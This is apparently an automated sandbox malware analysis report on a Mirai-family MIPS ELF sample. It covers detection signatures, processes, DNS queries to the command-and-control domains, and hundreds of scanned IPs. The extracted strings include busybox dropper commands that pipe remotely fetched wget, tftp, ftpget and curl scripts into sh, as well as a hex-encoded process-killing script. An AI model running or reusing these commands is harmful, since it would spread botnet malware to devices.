Create Interactive Tour

Linux Analysis Report
splmips.elf

Overview

General Information

Sample name:	splmips.elf
Analysis ID:	1636746
MD5:	321120617853c2b0bff90efc0fe88f1c
SHA1:	c19f357caec3e39abce83908f623017a90749657
SHA256:	a2f2572c3a3e6455979ec3892347faaea8c2dbaa11f2681462b8e8a38b2074e7
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1636746
Start date and time:	2025-03-13 03:27:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splmips.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/158@26/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splmips.elf
PID:	5457
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5429, Parent: 3579)

rm (PID: 5429, Parent: 3579, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.WxxRDt0GAS /tmp/tmp.31R6DzbJZU /tmp/tmp.oPrUxiFCpV

dash New Fork (PID: 5430, Parent: 3579)

rm (PID: 5430, Parent: 3579, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.WxxRDt0GAS /tmp/tmp.31R6DzbJZU /tmp/tmp.oPrUxiFCpV

splmips.elf (PID: 5457, Parent: 5364, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/splmips.elf

splmips.elf New Fork (PID: 5460, Parent: 5457)

splmips.elf New Fork (PID: 5462, Parent: 5460)

splmips.elf New Fork (PID: 5466, Parent: 5460)

splmips.elf New Fork (PID: 5467, Parent: 5460)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 45.147.251.145 ports 5034,1440,0,1,4,2840,911

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.13:49056 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.13:52190 -> 159.89.101.70:1990
Source: global traffic	TCP traffic: 192.168.2.13:34442 -> 193.143.1.116:911

Source: /tmp/splmips.elf (PID: 5457)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 12.197.206.252
Source: unknown	TCP traffic detected without corresponding DNS query: 66.146.89.178
Source: unknown	TCP traffic detected without corresponding DNS query: 12.197.206.252
Source: unknown	TCP traffic detected without corresponding DNS query: 56.104.66.108
Source: unknown	TCP traffic detected without corresponding DNS query: 66.146.89.178
Source: unknown	TCP traffic detected without corresponding DNS query: 83.28.120.69
Source: unknown	TCP traffic detected without corresponding DNS query: 56.104.66.108
Source: unknown	TCP traffic detected without corresponding DNS query: 148.118.57.0
Source: unknown	TCP traffic detected without corresponding DNS query: 83.28.120.69
Source: unknown	TCP traffic detected without corresponding DNS query: 202.13.206.29
Source: unknown	TCP traffic detected without corresponding DNS query: 148.118.57.0
Source: unknown	TCP traffic detected without corresponding DNS query: 52.208.149.187
Source: unknown	TCP traffic detected without corresponding DNS query: 202.13.206.29
Source: unknown	TCP traffic detected without corresponding DNS query: 30.20.216.45
Source: unknown	TCP traffic detected without corresponding DNS query: 52.208.149.187
Source: unknown	TCP traffic detected without corresponding DNS query: 12.214.231.202
Source: unknown	TCP traffic detected without corresponding DNS query: 30.20.216.45
Source: unknown	TCP traffic detected without corresponding DNS query: 21.7.123.136
Source: unknown	TCP traffic detected without corresponding DNS query: 12.214.231.202
Source: unknown	TCP traffic detected without corresponding DNS query: 69.74.252.234
Source: unknown	TCP traffic detected without corresponding DNS query: 21.7.123.136
Source: unknown	TCP traffic detected without corresponding DNS query: 99.21.25.32
Source: unknown	TCP traffic detected without corresponding DNS query: 221.73.24.4
Source: unknown	TCP traffic detected without corresponding DNS query: 69.74.252.234
Source: unknown	TCP traffic detected without corresponding DNS query: 155.155.8.200
Source: unknown	TCP traffic detected without corresponding DNS query: 99.21.25.32
Source: unknown	TCP traffic detected without corresponding DNS query: 129.183.174.216
Source: unknown	TCP traffic detected without corresponding DNS query: 221.73.24.4
Source: unknown	TCP traffic detected without corresponding DNS query: 126.124.68.198
Source: unknown	TCP traffic detected without corresponding DNS query: 155.155.8.200
Source: unknown	TCP traffic detected without corresponding DNS query: 142.61.124.170
Source: unknown	TCP traffic detected without corresponding DNS query: 129.183.174.216
Source: unknown	TCP traffic detected without corresponding DNS query: 86.224.54.138
Source: unknown	TCP traffic detected without corresponding DNS query: 126.124.68.198
Source: unknown	TCP traffic detected without corresponding DNS query: 175.45.105.209
Source: unknown	TCP traffic detected without corresponding DNS query: 142.61.124.170
Source: unknown	TCP traffic detected without corresponding DNS query: 11.139.155.182
Source: unknown	TCP traffic detected without corresponding DNS query: 86.224.54.138
Source: unknown	TCP traffic detected without corresponding DNS query: 45.67.251.56
Source: unknown	TCP traffic detected without corresponding DNS query: 175.45.105.209
Source: unknown	TCP traffic detected without corresponding DNS query: 132.152.27.14
Source: unknown	TCP traffic detected without corresponding DNS query: 11.139.155.182
Source: unknown	TCP traffic detected without corresponding DNS query: 198.179.223.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.67.251.56
Source: unknown	TCP traffic detected without corresponding DNS query: 165.75.38.8
Source: unknown	TCP traffic detected without corresponding DNS query: 132.152.27.14
Source: unknown	TCP traffic detected without corresponding DNS query: 39.1.176.194
Source: unknown	TCP traffic detected without corresponding DNS query: 198.179.223.214
Source: unknown	TCP traffic detected without corresponding DNS query: 165.75.38.8
Source: unknown	TCP traffic detected without corresponding DNS query: 39.1.176.194

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: splmips.elf	String found in binary or memory: http:///curl.sh
Source: splmips.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/158@26/0

Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5492/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5492/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5493/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5493/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5494/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5494/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5495/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5495/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5496/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5496/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5486/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5486/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5497/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5497/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5487/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5487/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5498/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5498/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5488/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5488/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5499/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5499/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5490/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5490/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5491/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5491/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5489/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5489/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5500/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5500/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5500/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5500/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5501/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5501/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5501/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5501/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5502/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5502/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5502/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5502/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5505/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 5466)	File opened: /proc/5505/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/5386/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/238/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/239/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/3757/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/3095/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/241/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/5/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/247/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 5457)	File opened: /proc/248/comm	Jump to behavior

Source: /usr/bin/dash (PID: 5429)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.WxxRDt0GAS /tmp/tmp.31R6DzbJZU /tmp/tmp.oPrUxiFCpV			Jump to behavior
Source: /usr/bin/dash (PID: 5430)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.WxxRDt0GAS /tmp/tmp.31R6DzbJZU /tmp/tmp.oPrUxiFCpV			Jump to behavior

Source: /tmp/splmips.elf (PID: 5457)

Queries kernel information via 'uname':

Jump to behavior

Source: splmips.elf, 5457.1.00005620d1504000.00005620d15ac000.rw-.sdmp, splmips.elf, 5462.1.00005620d1504000.00005620d15ac000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: splmips.elf, 5457.1.00007fff4f0a6000.00007fff4f0c7000.rw-.sdmp, splmips.elf, 5462.1.00007fff4f0a6000.00007fff4f0c7000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: splmips.elf, 5457.1.00005620d1504000.00005620d15ac000.rw-.sdmp, splmips.elf, 5462.1.00005620d1504000.00005620d15ac000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: splmips.elf, 5457.1.00007fff4f0a6000.00007fff4f0c7000.rw-.sdmp, splmips.elf, 5462.1.00007fff4f0a6000.00007fff4f0c7000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/splmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splmips.elf

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
splmips.elf	33%	Virustotal		Browse
splmips.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	159.89.101.70	true	false	high
ohlookthereismyboats.geek	45.147.251.145	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splmips.elf	false		high
http:///curl.sh	splmips.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
130.251.217.81	unknown	Italy	137	ASGARRConsortiumGARREU	false
140.76.54.133	unknown	United States	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
117.28.23.124	unknown	China	133776	CHINATELECOM-FUJIAN-QUANZHOU-IDC1QuanzhouCN	false
150.133.53.64	unknown	United States	1649	DNIC-AS-01649US	false
216.89.197.1	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
165.46.169.174	unknown	United States	37053	RSAWEB-ASZA	false
136.170.15.134	unknown	United Kingdom	2152	CSUNET-NWUS	false
170.198.237.94	unknown	United States	11685	HNBCOL-ASUS	false
64.4.239.92	unknown	United States	11090	MTAONLINE-ASUS	false
28.73.135.115	unknown	United States	7922	COMCAST-7922US	false
101.153.222.124	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
147.153.102.36	unknown	United States	14041	AS14041US	false
193.100.85.253	unknown	Germany	60789	QITS-ASDE	false
155.104.120.226	unknown	United States	1906	NORTHROP-GRUMMANUS	false
119.146.69.84	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
76.34.3.89	unknown	United States	18494	CENTURYLINK-LEGACY-EMBARQ-WRBGUS	false
157.45.220.160	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
211.238.15.0	unknown	Korea Republic of	9952	HOSTWAY-AS-KRHostwayIDCKR	false
170.135.63.163	unknown	United States	3147	US-BANCORPUS	false
88.164.121.206	unknown	France	12322	PROXADFR	false
122.61.240.152	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
11.147.94.64	unknown	United States	3356	LEVEL3US	false
217.216.31.166	unknown	Spain	12357	COMUNITELSPAINES	false
98.233.242.206	unknown	United States	7922	COMCAST-7922US	false
185.137.132.139	unknown	Romania	62302	SOFT-DREAMS-ASIenachitaVacarescunr18RO	false
15.122.194.222	unknown	United States	13979	ATT-IPFRUS	false
91.99.5.153	unknown	Iran (ISLAMIC Republic Of)	16322	PARSONLINETehran-IRANIR	false
179.42.175.221	unknown	Colombia	27951	MediaCommercePartnersSACO	false
172.131.138.202	unknown	United States	7018	ATT-INTERNET4US	false
96.4.161.93	unknown	United States	11686	ENAUS	false
182.255.153.178	unknown	Korea Republic of	9765	VTOPIA-AS-KRVTOPIAKR	false
86.230.17.217	unknown	France	3215	FranceTelecom-OrangeFR	false
29.18.147.218	unknown	United States	7922	COMCAST-7922US	false
74.77.176.36	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
194.131.138.243	unknown	United Kingdom	702	UUNETUS	false
78.23.224.145	unknown	Belgium	6848	TELENET-ASBE	false
218.131.32.67	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
24.155.108.70	unknown	United States	7459	GRANDECOM-AS1US	false
105.54.240.207	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
50.22.67.52	unknown	United States	36351	SOFTLAYERUS	false
27.196.125.134	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
162.202.160.108	unknown	United States	7018	ATT-INTERNET4US	false
89.76.77.157	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
140.128.47.251	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
107.65.215.130	unknown	United States	7018	ATT-INTERNET4US	false
60.14.79.200	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
168.255.250.120	unknown	Mexico	11172	AlestraSdeRLdeCVMX	false
128.155.146.2	unknown	United States	1254	AS1254US	false
142.169.133.88	unknown	Canada	852	ASN852CA	false
195.188.223.13	unknown	United Kingdom	5089	NTLGB	false
130.249.174.231	unknown	United States	14365	ADOBE-NETUS	false
35.250.187.14	unknown	United States	3549	LVLT-3549US	false
196.190.69.4	unknown	Ethiopia	24757	EthioNet-ASET	false
2.211.151.229	unknown	Germany	6805	TDDE-ASN1DE	false
194.220.61.123	unknown	Spain	12430	VODAFONE_ESES	false
200.125.55.238	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
222.111.179.174	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
101.191.34.75	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
129.79.76.58	unknown	United States	87	INDIANA-ASUS	false
121.188.9.103	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
29.0.24.2	unknown	United States	7922	COMCAST-7922US	false
216.89.243.221	unknown	United States	46215	TERRANOVANET-ASN1US	false
87.245.174.232	unknown	Russian Federation	8732	COMCOR-ASMoscowRU	false
196.215.64.112	unknown	South Africa	3741	ISZA	false
22.243.129.83	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
87.56.44.95	unknown	Denmark	3292	TDCTDCASDK	false
24.59.182.223	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
42.242.146.176	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
148.19.81.252	unknown	United States	6400	CompaniaDominicanadeTelefonosSADO	false
